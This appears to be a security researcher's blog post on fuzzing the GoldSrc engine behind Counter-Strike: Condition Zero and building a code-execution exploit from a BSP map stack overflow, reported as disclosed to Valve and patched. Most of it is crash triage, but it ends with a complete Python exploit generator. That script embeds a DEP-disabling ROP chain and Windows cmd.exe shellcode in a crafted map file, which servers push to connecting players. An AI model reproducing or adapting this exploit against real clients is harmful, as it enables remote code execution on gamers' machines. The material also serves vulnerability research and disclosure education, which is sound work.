One night while playing Counter Strike: Condition Zero (CZ), I decided to take a break and challenge myself to find an exploitable bug in the old engine known as GoldSrc. Condition Zero, Half-Life 1, and CS 1.6 all run on the GoldSrc engine, which was created by Valve and is based upon the original Quake engine.

What makes Counter Strike an interesting target is that it relies on a game lobby for players to find and select servers to play on. Upon connecting to the server, the game client will automatically download any required resources (maps, textures, sounds, etc.). Once all of the resources have been downloaded, they have to be loaded and parsed from disk into memory. Only then will the client begin receiving commands and entity updates from the server.

This automatic resource fetching looked like the ticket to a remotely exploitable vulnerability via a local file.

The vulnerability discussed in this article has been disclosed to Valve Security and the patch publicly deployed on July 10th.

I would like to extend my thanks to the Valve Security team and specifically to Alfred Reynolds who was my liaison during the disclosure process. The whole process, from initial email to fix, lasted less than 30 days. I certainly look forward to disclosing to Valve in the future.

Go, go, go! - Finding Crashes

My approach to finding bugs was to use the tried and true method of fuzzing. Essentially I gathered a bunch of existing BSP map files for my corpus and then used them as seeds to my fuzzing engine. This will corrupt them and then feed them back in to the program (CZ) to be parsed while being watched for any crashes. If a crash is found, it is recorded and stored for later triage and classification. I figured that highly complex file formats such as .BSP would map quite well to low-level memcpy operations in the engine. It’s even possible that stored sizes of data structures in the BSP file will be less validated than most file formats.

I had a few false starts to this project when selecting a fuzzer to use. First I tried honggfuzz under Cygwin, but this proved to be completely broken for crash detection. Next I tried WinAFL which I was unable to get to work due to some binary incompatibilities and possible Windows 10 issues. This led to a multi-day rabbit hole of building DynamicRIO from source and rebuilding WinAFL against it. In the end I gave up trying to get a coverage based fuzzer to work and went instead with the solid CERT Basic Fuzzing Framework (BFF). This proved to be an excellent choice due to its easy configuration file and deep integration with Microsoft debugging tools, including WinDBG and !exploitable. I also had some relevant experience with the framework through fuzzing VLC when it used to be called Failure Observation Engine (FOE). BFF is a simple “dumb” fuzzer, meaning it merely corrupts bytes in the file and writes it back out. It has no knowledge of the BSP file format or of the target it is fuzzing. This is great for quick setup, but for more complex formats, code coverage of the parsing code may be limited. For shallow bugs, dumb fuzzing will not have much of an issue finding them.

With this fuzzer in mind, I went about exploring instrumentation on the GoldSrc engine. When running a game on this engine, the executable hl.exe boots, loads common engine resources, and then loads a game specific DLL (known as a client DLL or cl_dll) which drives the engine via a proxy API. This API and the associated utilities are the primary SDK interface that many game modders deal with. Technically Counter Strike 1.6 (cstrike) and Condition Zero (czero) are both considered “mods” as they merely use the proxy API for gameplay. When running a mod like CZ, the engine command line looks like: hl.exe -game czero $OTHER_ARGS. In order to quickly iterate through map files, I looked up the command line flags for starting the engine with CZ and to load a map upon start. This is the command line I used:

C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hl.exe -game czero -dev -window -console +sv_lan 1 +map MAP_NAME

where -window makes it so I can fuzz and browse the web at the same time, sv_lan 1 makes a local-only server, and map immediately changes the map on login.

With the ability to programmatically run the engine, I installed BFF, Debugging Tools for Windows, and then started configuring BFF. BFF installs to C:\BFF by default and has the concept of a fuzzing campaign. I started a new one for CZ and then edited the bff.yaml configuration file:

campaign:
    id: counter strike czero
    keep_heisenbugs: False
    use_buttonclicker: False

target:
    program: C:\Users\MyName\.babun\cygwin\bin\bash.exe
    cmdline_template: $PROGRAM -c '"C:/BFF/mover.sh" $SEEDFILE "C:/Program Files (x86)/Steam/steamapps/common/Half-Life/hl.exe" -game czero -dev -window -console +sv_lan 1 +map aim_fuzz' NUL

...

directories:
    seedfile_dir: seedfiles\bsp
    working_dir:  fuzzdir
    results_dir:  results

...

fuzzer:
    fuzzer: bytemut
    fuzz_zip_container: False

Everything except program, cmdline_template, and seedfile_dir are the defaults. Notice that this cmdline isn’t just running hl.exe. This is because I ran into problems getting the corrupted BSP file to be read by the engine. GoldSrc has a dedicated, per-mod resource directory and will not load resources based on an absolute path. Hence, I made a bash script under Cygwin to first move the generated BSP file to the resource directory as aim_fuzz.bsp. It’s a simple three-liner, it gets the job done, and doesn’t affect crash detection due to exec:

/bin/cp "$1" "c:\\Program Files (x86)\\Steam\\steamapps\\common\\Half-Life\\czero_downloads\\maps\\aim_fuzz.bsp"
shift
exec "$@"

It’s unfortunate that BFF doesn’t support post-processing fuzzed files like honggfuzz does, since this would have eliminated the need for this hack.

With the fuzzer set up, I copied all of the map files less than 3.0 MB from my czero_downloads/maps folder into the seedfiles\bsp directory. This left me with 74 map files as seeds. I could have used more, but as you will see, finding crashes was not that difficult.

Fire in the Hole! - Triaging Crashes

After running for less than a day on a single Windows 10 x64 machine, 43 crashes were found. It’s no surprise that the BSP parsing turned up a lot of unique crashes as it’s a complex file format combining many different data objects into one format. Here’s the crash breakdown by predicted severity:

  • 3 - EXPLOITABLE
  • 5 - PROBABLY_EXPLOITABLE
  • 35 - UNKNOWN

Thanks to MSEC’s !exploitable, most of the hard crash triage was already done. Each crash folder had the minimized test case along with a full WinDBG log and !analyze output. In order to reproduce these crashes, BFF provides a nice script called repro.py. Running python C:\BFF\tools\repro.py -w PATH_TO_FUZZED_FILE will drop you into a WinDBG GUI for further investigation. With that, let’s take a look at the three EXPLOITABLE crashes.

Crash #1

Now this looks interesting. EIP looks like ASCII which might mean we have control over it!

...
Spawn Server aim_fuzz
Clearing memory
Using WAD File: uacyber_stproz.wad
Using WAD File: as_tundra.wad
Using WAD File: halflife.wad
Using WAD File: cs_dust.wad
Using WAD File: cs_cbble.wad
Texture load:   56.7ms
WARNING: failed to locate sequence file aim_fuzz
"sv_maxspeed" changed to "900"

GAME SKILL LEVEL:1
"pausable" changed to "0"
Executing listen server config file
(465c.4c78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
44334143 ??              ???

...

!exploitable 1.6.0.0
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x44334143
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Data Execution Protection (DEP) Violation

Exception Hash (Major/Minor): 0x1e2606b6.0x1e2606b6

 Hash Usage : Stack Trace:
Major+Minor : Unknown
Instruction Address: 0x0000000044334143

Description: Data Execution Prevention Violation
Short Description: DEPViolation
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044334143 (Hash=0x1e2606b6.0x1e2606b6)

Unfortunately further investigation showed that this wasn’t the case and EIP just coincidentally got an ASCII-only value. Let’s dive into IDA to investigate…but where was the original faulting instruction? How did we get to 0x44334143? This called for some WinDBG learning. I needed a way to know what the last instruction was right before the DEP violation. Originally before writing this post, I had single stepped WinDBG until arriving at the faulting address. But now when I reproduce the crash I’ve come to realize that the backtrace contains the last stack frame. If this crash had caused stack corruption then this approach wouldn’t have worked, since stack corruption would have corrupted the stack frames (i.e. the saved EBP value).

1:005:x86> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0019f2c0 00000000 028e433d 10342a7c 10342a88 0x44334143

1:005:x86> r
eax=00000080 ebx=10342a88 ecx=10342a7c edx=1069d298 esi=106e4b34 edi=10342938
eip=44334143 esp=0019f2c4 ebp=0019f2e4 iopl=0         ov up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210a16
44334143 ??              ???

I tried visiting 0x28e433d in IDA and I saw this function call:

Crash 1 IDA View Before crashing function

Stepping into this function showed this:

Crash 1 IDA View at instruction

It looks like the jmp target has been controlled from a starting offset via EAX. It looks like an attempt was made to prevent the function pointer index from going above 7, but JGE on x86 is a signed comparison! This means that EAX can go negative (0x80 - 0xff) and pass the check as this signed char is casted to unsigned char for the jump. In WinDBG at the time of the crash, EAX was 0x80. Doing some pointer math of \(0x297bad4 + [0x80 * 4] = 0x297bcd4\) and then a lookup in IDA shows at the calculated address:

Crash 1 IDA Name View

If you notice, the CA3D string matches perfectly to our crashing address, except it’s bytes are reversed. The hex dump confirms this:

Crash 1 IDA Hex View

So what we have is a controlled function pointer load and transfer within a range of 127 DWORDs. This read occurs from the .data section, which is read-write, but from this point, we’d have to find a controlled place in this tight range to write a known code address. With this understanding and a bit of disappointment I moved on to the other crashers to see if I’d have any better luck.

Crash #2

The next crash turns out to be a little bit more interesting but not obviously easier to get code execution

...
Adding:  czero/dlls\mp.dll
ModLoad: 00000000`256d0000 00000000`25860000   c:\program files (x86)\steam\steamapps\common\half-life\czero\dlls\mp.dll
Dll loaded for mod Condition Zero
ModLoad: 00000000`607e0000 00000000`6086e000   c:\program files (x86)\steam\steamapps\common\half-life\platform\servers\serverbrowser.dll
ModLoad: 00000000`61700000 00000000`61757000   C:\Program Files (x86)\Steam\steamapps\common\Half-Life\vstdlib.dll
MP3_InitStream(30, sound\music\downed_intro.mp3) successful
Spawn Server aim_fuzz
Clearing memory
(61b8.7004): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - 

hw+0x3f53f:
0285f53f 8906            mov     dword ptr [esi],eax  ds:002b:77023e00=5d00191d

...

!exploitable 1.6.0.0
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
** ERROR: Symbol file could not be found.  Defaulted to export symbols for hl.exe - 
Exception Faulting Address: 0x77023e00
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation

Faulting Instruction:0285f53f mov dword ptr [esi],eax

Exception Hash (Major/Minor): 0xdfa48bac.0x58d60243

 Hash Usage : Stack Trace:
Major+Minor : hw+0x3f53f
...
Minor       : ntdll_77470000!_RtlUserThreadStart+0x1b
Instruction Address: 0x000000000285f53f

Description: User Mode Write AV
Short Description: WriteAV
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at hw+0x000000000003f53f (Hash=0xdfa48bac.0x58d60243)

From this crash log, it looks like we have control over ESI. Further investigation in IDA and some reverse code lookups in ReHLDS found the original function:

void Mod_LoadTextures(lump_t *l)
{
    dmiptexlump_t *m;
    miptex_t *mt;
    ...
    char dtexdata[348996];
    ...
    texture_t *tx;

    wads_parsed = 0;
    starttime = Sys_FloatTime();
    if (!tested)
        Mod_AdInit();

    if (!l->filelen)
    {
        loadmodel->textures = 0;
        return;
    }
    m = (dmiptexlump_t *)(mod_base + l->fileofs); // looks like we corrupted a lump header

    m->_nummiptex = LittleLong(m->_nummiptex); // the crashing line
    loadmodel->numtextures = m->_nummiptex;
    loadmodel->textures = (texture_t **)Hunk_AllocName(4 * loadmodel->numtextures, loadname);
    ...

Looks like a corrupted lump fileofs which caused a bad pointer dereference on line 468. This is interesting as we have control over the entire lump contents, but it’s going to require some more reading to figure out how to achieve code execution. Overall this function is a mess of direct pointer arithmetic and there are bound to be many more ways to make this function crash. Some more digging would probably yield a write-what-where primitive, but I moved on to the next crash to see if it was easier to exploit.

Crash #3

The last crash turned out to be quite interesting. The fuzzed BSP file was based upon the map awp_snowsk337.bsp (a really fun map). Here is the WinDBG output of the two crashing exceptions:

...
Spawn Server aim_fuzz
Clearing memory
Texture load:   50.3ms
(ab5c.72b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - 
hw+0x4ddd7:
0286ddd7 8941f8          mov     dword ptr [ecx-8],eax ds:002b:001a0000=78746341

...

!exploitable 1.6.0.0
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x1a0000
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation

Exception Hash (Major/Minor): 0xfa8446e7.0xb321cd22

 Hash Usage : Stack Trace:
Major+Minor : hw+0x4ddd7
...
Minor       : Unknown
Instruction Address: 0x000000000286ddd7

Description: Exception Handler Chain Corrupted
Short Description: ExceptionHandlerCorrupted
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at hw+0x000000000004ddd7 (Hash=0xfa8446e7.0xb321cd22)

And when continuing from this first chance exception to the Structured Exception Handler (SEH):

1:005:x86> g;$$Found_with_CERT_BFF_2.8;r;!exploitable -v;q
ModLoad: 70e20000 70e33000   C:\WINDOWS\SysWOW64\dhcpcsvc6.DLL
ModLoad: 70e00000 70e14000   C:\WINDOWS\SysWOW64\dhcpcsvc.DLL
(694c.9748): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=44980000 edx=774f2d90 esi=00000000 edi=00000000
eip=44980000 esp=0019ea58 ebp=0019ea78 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
44980000 ??              ???

!exploitable 1.6.0.0
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x44980000
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Data Execution Protection (DEP) Violation

Exception Hash (Major/Minor): 0x918f89cc.0x7f62488f

 Hash Usage : Stack Trace:
Major+Minor : Unknown
Excluded    : ntdll_77470000!ExecuteHandler2+0x26
Excluded    : ntdll_77470000!ExecuteHandler+0x24
Excluded    : ntdll_77470000!KiUserExceptionDispatcher+0xf
Excluded    : Unknown
...
Excluded    : Unknown
Instruction Address: 0x0000000044980000

Description: Data Execution Prevention Violation
Short Description: DEPViolation
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044980000 called from Unknown Symbol @ 0xffffffffc40e0000 (Hash=0x918f89cc.0x7f62488f)

This crash transferred control to the default SEH on the stack, the trigger being an access violation after dereferencing the stack guard page. It looks like a nearly unlimited buffer overflow which is exactly the type of exploitability I was looking for. BFF happens to provide some heuristics to determine the “Exploitability Rank” and it gave this a 5/100 (lower is better). Crash #1 had a score of 20 (possibly exploitable) and Crash #2 a 100 (no way).

The SEH handler’s address was overwritten to 0x44980000, which happens to be the float value of 1216.0. A quick search of the corrupted file with 010 Editor yielded hundreds of values like this. In order to determine the exact value that would give us control over the SEH handler, I wrote a script to incrementally replace each found value with an incrementing float value. Rerunning with the new BSP file yielded a file offset of 0x4126C bytes. Now I had control over EIP! Observe:

1:005:x86> r
(694c.9748): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=deadbeef edx=774f2d90 esi=00000000 edi=00000000
eip=deadbeef esp=0019ea58 ebp=0019ea78 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
deadbeef ??              ???

From this point (due to DEP) I needed to ROP out of the exception handler frame and back to the old stack. For this I needed a special gadget of the form pop REG32, pop REG32, pop esp, ret or similar. The next tool that helped me start ROPing was !mona running under Immunity DBG.

Using mona’s “findwild” gadget search, I tried to find an appropriate stack pivot in non-ASLR’d, non-rebased modules, but I was unable to after many hours of poring over gadgets. This was quite disappointing. Luckily I still had complete control over the stack frame, so all I needed to do was to find out how to overwrite the saved return address for the function.

Dropping into IDA revealed a reasonably simple function (Note: this function was difficult to understand at first and to took me a while to understand the mapping from the BSP file to the code. This is the finished version before I found the source code online and learned the real names and data types. Many days of hard work are being glossed over.)

int __cdecl GL_SubdivideSurface(MapInfo *object)
{
  signed int numVerts; // ecx@1
  int numVertsToProc; // edi@1
  struct_gData *bObject; // edx@2
  int initialIndex; // esi@2
  float *pVEC3DATA; // ecx@2
  int indexPos; // esi@2
  signed int index; // edi@3
  int offset; // eax@4
  float *pVEC3; // eax@6
  float VEC3DATA[192]; // [sp+4h] [bp-304h]@2
  int numVertsStack; // [sp+304h] [bp-4h]@2
  int vec3Count; // [sp+310h] [bp+8h]@2

  numVerts = 0;
  g_modVuln = object;
  numVertsToProc = object->numVerts;
  if ( numVertsToProc > 0 )
  {
    bObject = g_CurBObject;
    initialIndex = object->initialIndex;        // 00002c4c
    pVEC3DATA = &VEC3DATA[1];
    vec3Count = object->numVerts;               // initially 0x9c (this was corrupted from fuzzer)
    indexPos = initialIndex;
    numVertsStack = numVertsToProc;
    do
    {
      index = bObject->INDEX_BUFFER[indexPos];
      if ( index <= 0 )
        offset = bObject->VERTEX_BUFFER_INDEX[-4 * index + 1];
      else
        offset = bObject->VERTEX_BUFFER_INDEX[4 * index];
      ++indexPos;
      pVEC3DATA += 3;
      pVEC3 = &bObject->VECTOR_DATA[3 * offset];
      *(pVEC3DATA - 4) = *pVEC3;
      *(pVEC3DATA - 3) = pVEC3[1];
      *(pVEC3DATA - 2) = pVEC3[2];              // overwrite here
      --vec3Count;
    }
    while ( vec3Count );
    numVerts = numVertsStack;
  }
  return SubdivideSurface(numVerts, (int)VEC3DATA);// if numverts == 0, this function returns quick
}

By reading the excellent IDA decompiled source with struct types, I determined that BFF had corrupted the vec3Count variable. This caused more than 64 VEC3 (three 4-byte floats) to be placed into the VEC3DATA struct causing the numVertsStack and vec3Count variables to be corrupted. vec3Count was corrupted to a large number, which is why we saw the exception at 0286ddd7 mov dword ptr [ecx-8],eax when it overwrote the guard page.

Get out of there, it’s gonna blow! - Exploiting the Crash

At this point I still need to solve three problems in order to gain code execution:

  1. Where in the BSP file maps to the VECTOR_DATA, INDEX_BUFFER and VERTEX_BUFFER_INDEX data streams?
  2. How do I bypass the SubdivideSurface function so that the GL_SubdivideSurface returns?
  3. How do I disable DEP and start running shellcode?

Problem #1

I did some more digging with 010 Editor (this tool proved so invaluable that I bought it) and using a similar approach to finding the SEH handler offset, I found the starting offsets for all three buffers. There was some guessing and fudging of the numbers to get things just right, but it worked for the file I was corrupting, so I didn’t worry about perfecting it. In possible future BSP exploits, I’d like to understand more about the file format in order to create more knowledgeable exploit generators. My first effort towards this has been the creation of an 010 Editor binary template file for parsing out the Half-Life 1 BSP format (version 30 with no magic FourCC value in the header). 010 Editor is my go to tool for reverse engineering and viewing binary file formats.

The BSP format has many versions and modifications. The Half-Life 1 version is documented here. In short, BSP is made up of “lumps” which are just blocks of bytes that have a defined data structure, such as textures, vertices, edges, faces, entities, etc. Through fuzzing, different parts of the lumps will be affected, which will affect the parsing of the file.

Problem #2

The GL_SubdivideSurface function must return in order to pop the corrupted saved return address off the stack, but there is a tail call of SubdivideSurface which prevents this. Also there is a bounds check on the numVerts which limits it to 60 (not enough to overflow important data).

int __cdecl SubdivideSurface(signed int numVerts, int object)
{
  if ( numVerts > 60 )
    sub_28C8450("numverts = %i", numVerts);
  sub_286D4C0(numVerts, (float *)object, (int)v35, (int)v31);
  for ( i = 0; ; ++i )
  {
    if ( i >= 3 )
    {
      result = sub_28E5D30(28 * (numVerts - 4) + 128);
      v26 = result;
      *(_DWORD *)result = gWarpface->field_24;
      *(_DWORD *)(result + 12) = *(_DWORD *)&gWarpface->gap0[8];
      gWarpface->field_24 = result;
      *(_DWORD *)(result + 8) = numVerts;
      v30 = 0;
      while ( v30 < numVerts )
      {
         ...
      }
      return result; // we want to reach here to exit quickly
    }
    v2 = (v35[i] + v31[i]) * 0.5;
    v24 = floor(v2 / 64.0 + 0.5) * 64.0;
    if ( v31[i] - v24 >= 8.0 && v24 - v35[i] >= 8.0 )
      break;
  }

  ...

  SubdivideSurface(v34, (int)&v39);
  return SubdivideSurface(v46, (int)&v43);
}

Further reading of this function made me realize that if could I can somehow change the numVerts input argument then I could quickly bypass this function. To my luck, the GL_SubdivideSurface stack frame had numVerts right below the overflowed buffer. This meant that I could control the variable to fake the number of vertices processed SubdivideSurface, effectively bypassing it.

Problem #3

With the knowledge of where to place my data in the BSP file (to cause reliable bytes to be placed on the stack), I just needed a nice ROP chain that would allow me to disable DEP on the current stack page and then jump to my shellcode. Mona to the rescue!

Simply running !mona rop and waiting an hour I was left with a nice, DEP-disabling ROP chain.

I also learned that you can use VirtualAlloc on already allocated memory to set flags, just like VirtualProtect. I initially tried to use VirtualProtect, but none of the safe modules had any references to it.

Only four modules were available for ROP gadgets in the process: hl.exe, filesystem_stdio.dll, hw.dll, steamclient.dll, and icudt.dll. Unfortunately the reliability of this exploit was limited due to the heavy usage of gadgets from steamclient.dll, which changes on every steam update. This actually happened during my exploitation process, necessitating a re-generation of my gadgets. What a pain!

Hours of debugging and testing with WinDBG later, I had successfully confirmed that this ROP chain was working! All I needed was to change my exploit script to add in some shellcode and I was golden. I found some Windows Universal cmd.exe shellcode from Shell Storm and BOOM! Command prompt appeared.

Check out a video of it in action


Here is the complete exploit code that I wrote to get control over the BSP file and get code running:

#!/usr/bin/env python
# Counter Strike: Condition Zero BSP map exploit
#  By @Digital_Cold Jun 11, 2017
from binascii import hexlify, unhexlify
from struct import pack, unpack
import math
import mmap
import logging

fmt = "[+] %(message)s"

logging.basicConfig(level=logging.INFO, format=fmt)
l = logging.getLogger("exploit")

# Specific to the file
INDEX_BUFFER_OFF = 0x92ee0          # ARRAY[int]
VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short]
VERTEX_DATA_OFF = 0x37f7c           # ARRAY[VEC3], VEC3[float, float, float]
NUM_EDGES_OFF = 0x70f94             # The length that was fuzzed to cause the crash

# No longer used as could not find a gadget to 'pop, pop, pop esp, ret'
# SEH_OVERWRITE_OFF = 0x4126C

# Initial offset into the index buffer where the function to exploit resides
INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already

# INDEX_BUFFER
# 0: 20
# 1: 10
# 2: 2 --> Vertex Buffer Indexes

# VERTEX BUFFER INDEXES
# 0: 1
# 1: 2
# 2: 4 --> Vertex Data

# VERTEX DATA
# 0: 1.23, 23423.0, 3453.3
# 1: 1.23, -9.0, 3453.3
# 2: 1.0, 1.0, 1.0
# 3: 1.0, 1.0, 1.0
# 4: 0.0, 1.0, 0.0

# Example:
# a = INDEX_BUFFER[2] ; a = 2
# b = VERTEX_BUFFER[a] ; b = 4
# vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0

def dw(x):
  return pack("I", x)

def main():
  target_file = "eip-minimized.bsp"
  output_file = "exploit-gen.bsp"

  print "GoldSource .BSP file corruptor"
  print "  by @Digital_Cold"
  print

  l.info("Corrupting target file %s" % target_file)

  # Read in and memory map target file
  fp = open(target_file, 'rb')
  mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY)
  fp.close()

  VEC3_COUNT = 63
  # then come Saved EBP and return address

  start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET
  second_idx = VERTEX_BUFFER_INDEXES_OFF
  vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults

  l.info("Writing to index buffer offset %08x...", start_idx)
  l.info("Vertex buffer indexes start %08x", second_idx)
  l.info("Vertex data at %08x", vertex_data_start)

  data_buffer = []

  for i in range(VEC3_COUNT):
    for j in range(3):
      data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory

  data_buffer.append("\x00\x00\x00\x00") # dont care
  data_buffer.append("\x00\x00\x00\x00") # unk1
  data_buffer.append("\x00\x00\x00\x00") # unk2

  data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call)
  data_buffer.append("\x00\x00\x00\x00") # EBP
  data_buffer.append(dw(0x01407316))     # Saved Ret --> POP EBP; RET [hl.exe]

  # XXX: bug in mona. This is a ptr to VirtualProtectEx!!
  #   0x387e01ec,  # ptr to &VirtualProtect() [IAT steamclient.dll]

  """
   Register setup for VirtualAlloc() :
   --------------------------------------------
    EAX = NOP (0x90909090)
    ECX = flProtect (0x40)
    EDX = flAllocationType (0x1000)
    EBX = dwSize
    ESP = lpAddress (automatic)
    EBP = ReturnTo (ptr to jmp esp)
    ESI = ptr to VirtualAlloc()
    EDI = ROP NOP (RETN)
    --- alternative chain ---
    EAX = ptr to &VirtualAlloc()
    ECX = flProtect (0x40)
    EDX = flAllocationType (0x1000)
    EBX = dwSize
    ESP = lpAddress (automatic)
    EBP = POP (skip 4 bytes)
    ESI = ptr to JMP [EAX]
    EDI = ROP NOP (RETN)
    + place ptr to "jmp esp" on stack, below PUSHAD
   --------------------------------------------
  """

  # START ROP CHAIN
  # DEP disable ROP chain
  # rop chain generated with mona.py - www.corelan.be
  #
  # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio
  rop_gadgets = [
    #0x3808A308,  # INT3 # RETN [steamclient.dll]
    0x38420ade,  # POP EDX # RETN [steamclient.dll]
    0x387e01e8,  # ptr to &VirtualAlloc() [IAT steamclient.dll]
    0x381236c5,  # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll]
    0x381ebdc1,  # POP EBP # RETN [steamclient.dll]
    0x381f98cd,  # & jmp esp [steamclient.dll]
    0x387885ac,  # POP EBX # RETN [steamclient.dll]
    0x00000001,  # 0x00000001-> ebx
    0x384251c9,  # POP EDX # RETN [steamclient.dll]
    0x00001000,  # 0x00001000-> edx
    0x387cd449,  # POP ECX # RETN [steamclient.dll]
    0x00000040,  # 0x00000040-> ecx
    0x386c57fe,  # POP EDI # RETN [steamclient.dll]
    0x385ca688,  # RETN (ROP NOP) [steamclient.dll]
    0x0140b00e,  # POP EAX # RETN [hl.exe]
    0x90909090,  # nop
    0x385c0d3e,  # PUSHAD # RETN [steamclient.dll]
  ]


  # Can be replaced with ANY shellcode desired...
  # http://shell-storm.org/shellcode/files/shellcode-662.php
  shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \
    "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \
    "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \
    "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \
    "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \
    "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \
    "\x24\x20\x57\xFF\xD0"

  shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash)
  shellcode += "\xeb\xfe"
  shellcode += "\xeb\xfe"
  shellcode += "\xeb\xfe"
  shellcode += "\xeb\xfe"

  shellcode_dwords = int(math.ceil(len(shellcode)/4.0))
  extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0))

  # Loop count (needs to be the exact amount of ROP we want to write
  data_buffer.append(dw(extra_dwords))

  for addr in rop_gadgets:
    data_buffer.append(dw(addr))

  for b in range(shellcode_dwords):
    data = ""

    for byte in range(4):
      idx = byte + b*4

      # pad to nearest DWORD with INT3
      if idx >= len(shellcode):
        data += "\xcc"
      else:
        data += shellcode[idx]

    data_buffer.append(data)

  second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes

  # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before
  # we can exploit the function

  # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW
  #mmfile[NUM_EDGES_OFF] = pack("B", 0x41)

  for i in range(int(math.ceil(len(data_buffer)/3.0))):
    mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i)
    mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i)

    second_idx += 2 # required because the game loads every-other word

    # This data will now be on the stack
    for j in range(3):
      sub_idx = j*4 + i*0xc
      data_idx = i*3 + j
      towrite = ""

      if data_idx >= len(data_buffer):
        towrite = "\x00"*4
      else:
        towrite = data_buffer[i*3 + j]

      mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite
      #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx))

  # write out the corrupted file
  outfile = open(output_file, "wb")
  outfile.write(mmfile)
  outfile.close()

  l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file))
  l.info("Copy to game maps/ directory!")

if __name__ == "__main__":
  main()

As you can see, the exploit code is quite hardcoded to the map file. The shellcode and ROP chain are stored in the LUMP_VERTICES section and the LUMP_EDGES and LUMP_SURFEDGES are hijacked to get the function to read from an exact spot in the vertices lump. With more understanding of the BSP format combined with a parser, this exploit code would not have to guess offsets and it could just edit exact positions.

Here’s the output when running the exploit

{ cscz-bsp } > ./exploit.py
GoldSource .BSP file corruptor
